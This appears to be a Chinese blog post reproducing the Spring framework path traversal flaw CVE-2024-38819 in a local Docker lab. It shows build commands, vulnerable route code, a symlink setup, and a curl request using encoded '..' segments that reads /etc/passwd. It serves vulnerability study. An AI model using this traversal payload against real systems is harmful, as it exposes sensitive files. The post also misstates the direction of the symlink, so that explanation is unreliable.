CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞复现

操作:

根据CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞搭建复现的靶场环境

拿到环境的源码使用docker搭建

复制代码
cd vuln

创建容器并启动

复制代码
 docker build -t cve-2024-38819-poc .
 docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc

注意在创建的时候有些镜像无法拉取到,可以在Dockerfile文件中修改配置使用其他的镜像

使用命令来验证是否存在漏洞

复制代码
curl http://localhost:8080/static/link/%2e%2e/etc/passwd

请求成功返回了 /etc/passwd 文件的内容,证明存在该漏洞

该漏洞利用了路径遍历问题,使攻击者能够访问系统中本不应暴露的文件(如 /etc/passwd)。攻击者能够进一步利用该信息来获取其他敏感数据或执行任意代码。

解析:

  1. 设置静态资源路由 :创建 PathTraversalDemoApplication.java 文件,使用 RouterFunction 和 FileSystemResource 设置静态文件路由

    复制代码
    public RouterFunction<ServerResponse> staticResourceRouter() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }

    这段代码创建了一个静态文件资源的路由。当用户访问 /static/** 路径时,系统会从 /app/static/ 目录中提供文件。

  2. 创建符号链接:

    复制代码
    RUN ln -s /static /app/static/link

    在 Dockerfile 中,ln -s 命令创建了一个符号链接 /static,指向 /app/static/link。这意味着攻击者可以通过访问 /static/link 来尝试获取指向其他系统路径的文件。

  3. 利用路径遍历漏洞: 通过创建符号链接,攻击者可以尝试构造一个路径遍历的恶意 URL。例如:

    复制代码
    /static/link/%2e%2e/etc/passwd

    其中,%2e%2e 是 %2e 编码的 ..,代表父目录。攻击者通过这种方式尝试从 /app/static/ 目录"跳出"并访问系统的其他目录(如 /etc/passwd),从而获取系统敏感信息。

相关推荐
Pniubi5 小时前
HashMap的扩容和树化边界
java·开发语言
Mikko75 小时前
用 Java 复刻了高中时在塞班上玩的「熔岩矿车」:纯 Swing、零依赖、没有一张图片,一个 jar 双击就能玩
java·游戏开发·swing
知了学历孙老师5 小时前
小自考的校考和统考,出题方和难度差在哪
java·大数据·前端
Java爱好狂.5 小时前
Java初学者如何一周速通SpringBoot!
java·spring boot·后端·spring·高并发·架构师·java面试
秋饼6 小时前
LLM API密钥动态轮换实战:Spring Vault + Spring AI + 多Provider路由
java·ai·技术分享·后端开发
马良神笔7 小时前
2026 年Rag最近技术前沿总结
后端·python·django
程序猿DD7 小时前
同样10美元,OpenDesign和Command Code的DeepSeek V4.1 Flash额度到底有多少?
后端
福兮说8 小时前
JSON 格式正确,数据就可靠吗?我用一份自编配置检查类型与空值
java·前端·json
高频因子挖掘机8 小时前
A股量化从日线升级到5分钟线:数据量增加后最先暴露哪些工程问题?
后端·github·api
高频因子挖掘机8 小时前
历史行情返回顺序变了,为什么按行号计算指标很危险?
后端·github·api